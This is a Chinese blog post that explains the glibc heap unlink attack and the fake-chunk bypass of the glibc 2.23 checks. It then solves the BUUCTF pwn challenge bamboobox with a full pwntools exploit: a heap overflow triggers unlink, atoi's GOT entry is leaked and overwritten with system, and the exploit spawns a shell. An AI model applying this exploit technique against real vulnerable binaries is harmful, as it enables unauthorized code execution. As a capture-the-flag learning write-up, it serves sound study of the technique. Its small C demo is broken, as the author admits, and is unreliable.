关于wiki的Unlink攻击理解--附例题BUUCTF-hitcontraining_bamboobox1

23 篇文章 1 订阅

堆机制我研究了很久,一直没有什么很大的进展。堆相较于栈难度大的多。利用手法也多。目前还没有怎么做过堆题。这次就把理解了很久的Unlink写一写。然后找一题实践一下。

在glibc中,堆管理都是用一个个chunk去组织的。这个就不过多阐述。Unlink是glibc一段宏操作。目的是将一个空闲chunk从双向链表组织的bins中摘下,做后续的操作。Unlink攻击其实是为了欺骗堆管理器造成任意地址可读可写。wiki的描述其实挺好,我这里把这个32位的没有检测的攻击原理详细描述一次,以便后续理解64位中加入检测的绕过攻击手段。首先我们要理解Unlink到底干什么。


这是Unlink的源码,不管检测我们只看大概操作,wiki的图总结的很好:


其实就是所谓的断链操作,让P的前一个chunk指向后一个chunk,然后P的后一个chunk指回P的前一个chunk。这个理解后我们现在可以写一段程序:

#include<stdio.h>
#include<stdlib.h>

int main()
{
void *chunk1_ptr=(void*)malloc(0x80);
void *chunk2_ptr=(void*)malloc(0x80);

void * chunk3_ptr;
void * c=(void*)malloc(0x20); //防止top chunk 合并

free(chunk2_ptr);

gets("%s",&chunk1_ptr);  //有UAF才行 直接执行会发生段错误 只作为演示

free(chunk1_ptr);




return 0;
}

这段代码只是为了解释这个效果,并不能直接运行。一开始创建2个堆,大小是0x80,在创建一个小堆防止合并。紧接着我们把chunk2释放掉。这个时候,chunk2会进入到small bins中。我们知道在small bins中,chunk的管理是双向链表。因此Unlink是会发生在这里的。 画图演示这个过程:


我们假设程序通过溢出或者UAF修改了chunk2的fd和bk,我这里让chunk2的fd指向free的got表地址,bk指向一段内存中我们可读可写可执行的地方(也就是能布置shellcode的)。紧接着我们把chunk1也释放掉。这个时候,glibc会做如下几步的操作:

  • glibc 判断这个块是 small chunk
  • 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
  • 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
  • 继而对 Nextchunk 采取 unlink 操作

 它检测到chunk2是一个空闲块。但是此时chunk2在small bins里。想要合并就得先拿下来。这就会执行Unlink执行拿下来的操作,然后再做合并。进入到Unlink步骤我们看看会发生什么:

  • FD=P->fd = free@got-12
  • BK=P->bk = shellcode地址
  • FD->bk = BK,FD指向BK
  • BK->fd = FD,BK指向FD

前两步的图如下:


后两步的图如下:


此时我们的布局就完成了。那么它为何能起到任意地址读写呢。我们知道P的fd和bk都是我们自己构造的。就像上图,我想在free的got表里写入我们自己的shellcode地址,那么我们只需要将想要写入的地址-12填入fd,就能通过伪造的chunk找到。接下来,我们再把这块内存申请出来,因为在 small bin 中,glibc 采用了一种先进先出(First In First Out,FIFO)的策略。也就是说,当你再次申请内存时,glibc 会从 bin 的头部摘取第一个可用的 chunk。这是因为 small bin 维护了一个循环链表,新的 chunk 会被插入到链表的尾部,而分配时则从链表的头部开始查找可用的 chunk。因此当我们再次malloc同样大小的chunk的时候,它将会把BK给我们申请出来,申请出来的内存空间,我们就能随意改写了。当我们再次调用free函数的时候,将会去执行我们的shellcode。


上述是我们没有考虑glibc的一些保护机制,从而能达到这种攻击方式。但是在2.23版本的glibc中,是有对unlink的正确性做检查的。

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

这种情况下,会检验FD->bk以及BK->fd是否指向的是同一个。意味着如果篡改了,glibc将不会完成后续的Unlink操作。不仅对这个有检验,还对chunk_size有所检验:

    // 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \

因此在2.23中,想要绕过这两个检验,我们需要伪造chunk,也就是俗称的fake_chunk。 并且我们需要在构造的时候,P的fd和bk的指向要构造的像那么回事,才能绕过检测。那么怎么构造呢。假设有一个指向P这个chunk的地址叫addr1。那么当我们构造P这个chunk的时候:

                                                       fd=&addr1-0x18

                                                      bk=&addr1-0x10

在检验的时候就会绕过检测。我们画图理解这个过程:


这个时候,如果P_chunk发生unlink将会变成如下形式: 这样我们就能绕过验证,网上有师傅总结这个公式是怎么算出来的。我也忘了,有兴趣的可以查下。接着执行后续步骤,后续步骤执行完,我们能得到一个很神奇的东西:


形成这样的效果后,如果我们往里面填入一个got表的地址,假设是free的got表。我们看看会发生什么,当我们能往这个地址写入数据的时候,他将能指向任意地址并写入:


这就是整个unlink的攻击效果。下面我们拿一题来练练手熟悉下这个过程。选题为BUUCTF上的

hitcontraining_bamboobox1。简单查看下保护:没有PIE(运用unlink一般不能开PIE),大概测试了下,是个增删改查的小程序:


IDA中查看了下逻辑:





程序存在堆溢出漏洞。我们可以通过溢出覆盖下一个chunk,构造fake_chunk并进行unlink。构造如下:

 payload = p64(0) + p64(0x81) + p64(bss - 3 * 8) + p64(bss - 2 * 8) + b'a' * (0x80 - 0x20)

payload += p64(0x80) + p64(0x90) 

这样构造的目的是改写下一个chunk的标志位,触发fake_chunk能够进行unlink操作,并且在第二个chunk的数据域构造一个伪chunk。bss是我们存放堆地址的空间:


接着我们释放fake_chunk,进行unlink操作后,每当我们向chunk0写东西时,他将写入的东西传给了&bss-0x18的位置。由于程序中每次到用到atoi函数,因此我们的想法是改atoi函数的got表,让他指向system函数。因此我们泄露atoi函数地址后,再通过写入&bss-0x18进行改写,完整WP如下这是别的师傅写的我觉得比较好,注释也比较详细,便于理解:

# -*- coding: utf-8 -*-

from pwn import *
 
#sh = remote("node4.buuoj.cn", 28735)
sh = process('./bamboobox')  # linux本地运行
context.log_level = 'debug'  # 开启debug模式
elf = ELF('./bamboobox')  # 把elf文件放到代码目录下
libc = ELF('./libc-2.23.so')  # 把libc的so文件放到目录下
 
 
# 首先是写函数来模拟增删改查四种api,之后只能用这四个函数与程序进行交互
def show_item():
    sh.sendlineafter(b"Your choice:", b"1")
 
 
def add_item(length, name):
    sh.sendlineafter(b"Your choice:", b"2")
    sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
    sh.sendlineafter(b"Please enter the name of item:", name.encode())
 
 
def change_item(index, length, name):
    sh.sendlineafter(b"Your choice:", b"3")
    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
    sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
    sh.sendlineafter(b"Please enter the new name of the item:", name)
 
 
def remove_item(index):
    sh.sendlineafter(b"Your choice:", b"4")
    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
 
 
if __name__ == "__main__":
    bss = 0x6020c8  # bss节基址,change_item根据bss[0]来找修改的目标内存
    #gdb.attach(sh)
    
    add_item(0x80, "fake_chunk")  # 申请一块0x80B的内存构造fake_chunk
    add_item(0x80, "f")  # chunk_f
    add_item(0x10, "other")
    
    # 构造fake_chunk[prev_size, size, fd, bk, data]
    payload = p64(0) + p64(0x81) + p64(bss - 3 * 8) + p64(bss - 2 * 8) + b'a' * (0x80 - 0x20)
    # 覆盖f的prev_size和size
    payload += p64(0x80) + p64(0x90)
    change_item(index=0, length=len(payload), name=payload)  # 利用change的堆溢出漏洞将payload写入堆中
    
    remove_item(index=1)  # free(f),之后bss[0]=bss-3*8。这样一来只要向chunk0写数据就等于向bss-3*8处写数据
   

    # 读取atoi()在got表中的地址atoi@got,写入到bss[0]处
    atoi_got = elf.got['atoi']
    payload = p64(0) * 3 + p64(atoi_got)
    change_item(0, len(payload), payload)
    # show泄露atoi()地址,打印出来
    show_item()
    sh.recvuntil(b"0 : ")
    atoi_addr = u64(sh.recv(6).ljust(8, b"\x00"))  # 接收6个字节。填充成8字节,转为64位整数
    success("atoi_addr:%x" % atoi_addr)
    libc_base = atoi_addr - libc.sym["atoi"]  # 计算出libc的基址=atoi在内存中的地址-atoi相对libc的地址
    success("libc_base:%x" % libc_base)
 
    # 由于此时bss[0]=atoi在got中的地址,所以程序会认为此处是chunk,写入system的地址。从而将GOT表中原来atoi地址的位置覆盖成system函数的内存地址
    change_item(0, 8, p64(libc_base + libc.sym["system"]))
    # 发送"/bin/sh",程序会将其传给之前atoi位置的system函数,执行shell
    sh.sendlineafter(b"Your choice:", b"/bin/sh")
    sh.interactive()
 

例题的讲解讲的不是很好,写了太久脑袋有点混沌了。抽空我再完善下wp部分。有师傅打这题用的house_of_orange,有兴趣的可以参看。

参考链接:https://www.cnblogs.com/nemuzuki/p/17293352.html

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值